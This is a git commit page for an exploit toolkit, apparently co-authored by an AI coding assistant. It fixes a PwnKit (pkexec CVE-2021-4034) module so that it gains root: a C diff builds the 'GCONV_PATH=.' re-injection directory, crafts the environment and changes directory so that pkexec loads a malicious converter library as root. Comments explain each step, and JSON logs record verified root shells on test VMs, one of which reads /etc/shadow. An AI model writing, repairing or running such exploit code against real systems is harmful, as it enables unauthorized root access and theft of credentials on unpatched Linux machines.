pwnkit: fix the gconv re-injection layout so the exploit actually lands root
The exploit reported EXPLOIT_OK but did NOT get root on a genuinely vulnerable
target (Ubuntu 20.04.0, polkit 0.105-26ubuntu1). pkexec printed "Cannot run
program pwnkit" + glibc "Could not open converter from UTF-8 to PWNKIT" and no
root shell was obtained — a false positive from the dispatcher's "execve
transferred → clean exit = OK" path.
Root cause: the module built workdir/pwnkit/{gconv-modules,PWNKIT.so} correctly
but omitted the two pieces that make the GCONV_PATH trick fire:
1. a directory literally named "GCONV_PATH=." containing an executable
"pwnkit", so pkexec's g_find_program_in_path() resolves argv[0] and
RE-INJECTS GCONV_PATH=./pwnkit into the sanitised environment; and
2. chdir(workdir) so the re-injected relative "./pwnkit" resolves to the
gconv dir.
It also set an absolute GCONV_PATH=<workdir>/pwnkit directly in envp, which
pkexec strips (GCONV_PATH is on polkit's blacklist) — removed.
VM-verified after the fix on Ubuntu 20.04.0 / 5.4.0-26 (polkit 0.105-26ubuntu1):
unprivileged sk -> uid=0(root), confirmed out-of-band (wrote /root/, read
/etc/shadow). overlayfs (CVE-2021-3493) also confirmed landing root on the same
host; sudo_samedit returns an honest EXPLOIT_FAIL there (heap not landed).
Found via the new qemu exploit-verification sweep (root confirmed out-of-band,
not from the module's self-report).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -35,3 +35,6 @@
|
|||||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"}
|
||||||
|
{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"}
|
||||||
|
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"}
|
||||||
|
|||||||
@@ -314,32 +314,61 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 4b. The re-injection directory. This is the piece that makes the
|
||||||
|
* GCONV_PATH trick actually fire, and the classic bug when it's
|
||||||
|
* omitted (pkexec prints "Cannot run program pwnkit" and glibc
|
||||||
|
* "Could not open converter ... to PWNKIT", and NO root is obtained).
|
||||||
|
*
|
||||||
|
* With argc==0, pkexec reads envp[0] ("pwnkit") as the program path
|
||||||
|
* and, since it isn't absolute, resolves it via PATH. We set
|
||||||
|
* PATH=GCONV_PATH=. so pkexec searches a directory literally named
|
||||||
|
* "GCONV_PATH=." for an executable "pwnkit"; when it finds
|
||||||
|
* "GCONV_PATH=./pwnkit" it writes that string back over envp[0],
|
||||||
|
* thereby RE-INJECTING GCONV_PATH=./pwnkit into the (already
|
||||||
|
* sanitised) environment. pkexec then emits an error whose message
|
||||||
|
* glibc converts via the PWNKIT charset, dlopen()ing ./pwnkit/PWNKIT.so
|
||||||
|
* as root. So we need (a) the "GCONV_PATH=." dir + executable "pwnkit",
|
||||||
|
* and (b) CWD == workdir so "./pwnkit" resolves to sodir. */
|
||||||
|
char injdir[1024];
|
||||||
|
snprintf(injdir, sizeof injdir, "%s/GCONV_PATH=.", workdir);
|
||||||
|
if (mkdir(injdir, 0755) < 0 && errno != EEXIST) {
|
||||||
|
perror("mkdir GCONV_PATH=."); goto fail;
|
||||||
|
}
|
||||||
|
char injexe[2048];
|
||||||
|
snprintf(injexe, sizeof injexe, "%s/pwnkit", injdir);
|
||||||
|
/* Content is irrelevant — it never actually runs; the payload fires during
|
||||||
|
* pkexec's error-message conversion before any exec of this file. It only
|
||||||
|
* has to exist and be executable so g_find_program_in_path() locates it. */
|
||||||
|
if (!write_file_str(injexe, "#!/bin/sh\n:\n")) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: write inject exe failed\n"); goto fail;
|
||||||
|
}
|
||||||
|
chmod(injexe, 0755);
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 5. Construct the argv-overflow trick. The env vars become argv
|
/* 5. Construct the argv-overflow trick (see 4b for the mechanism).
|
||||||
* via the bug; pkexec parses the first as argv[0] which it
|
* Reference: Qualys' PWNKIT writeup + Berdav's PoC layout. */
|
||||||
* then uses to find the binary to re-exec. By naming
|
|
||||||
* 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir
|
|
||||||
* with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root.
|
|
||||||
*
|
|
||||||
* Reference: Qualys' PWNKIT writeup. */
|
|
||||||
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
||||||
char gconv_env[1024];
|
|
||||||
snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir);
|
|
||||||
char *envp[] = {
|
char *envp[] = {
|
||||||
"pwnkit", /* becomes argv[0] via overflow */
|
"pwnkit", /* becomes argv[0]=path via the overflow */
|
||||||
"PATH=GCONV_PATH=.", /* pkexec parses this as PATH */
|
"PATH=GCONV_PATH=.", /* pkexec re-injects GCONV_PATH=./pwnkit */
|
||||||
"CHARSET=PWNKIT",
|
"CHARSET=PWNKIT",
|
||||||
"SHELL=pwnkit",
|
"SHELL=pwnkit",
|
||||||
gconv_env,
|
|
||||||
NULL,
|
NULL,
|
||||||
};
|
};
|
||||||
/* tighten workdir perms so pkexec (root) can traverse */
|
/* tighten workdir perms so pkexec (root) can traverse */
|
||||||
chmod(workdir, 0755);
|
chmod(workdir, 0755);
|
||||||
chmod(sodir, 0755);
|
chmod(sodir, 0755);
|
||||||
|
|
||||||
|
/* CWD must be the workdir so the re-injected GCONV_PATH=./pwnkit resolves
|
||||||
|
* to workdir/pwnkit/{gconv-modules,PWNKIT.so}. Without this the converter
|
||||||
|
* is never found and no root is obtained. */
|
||||||
|
if (chdir(workdir) != 0) {
|
||||||
|
perror("chdir workdir"); goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user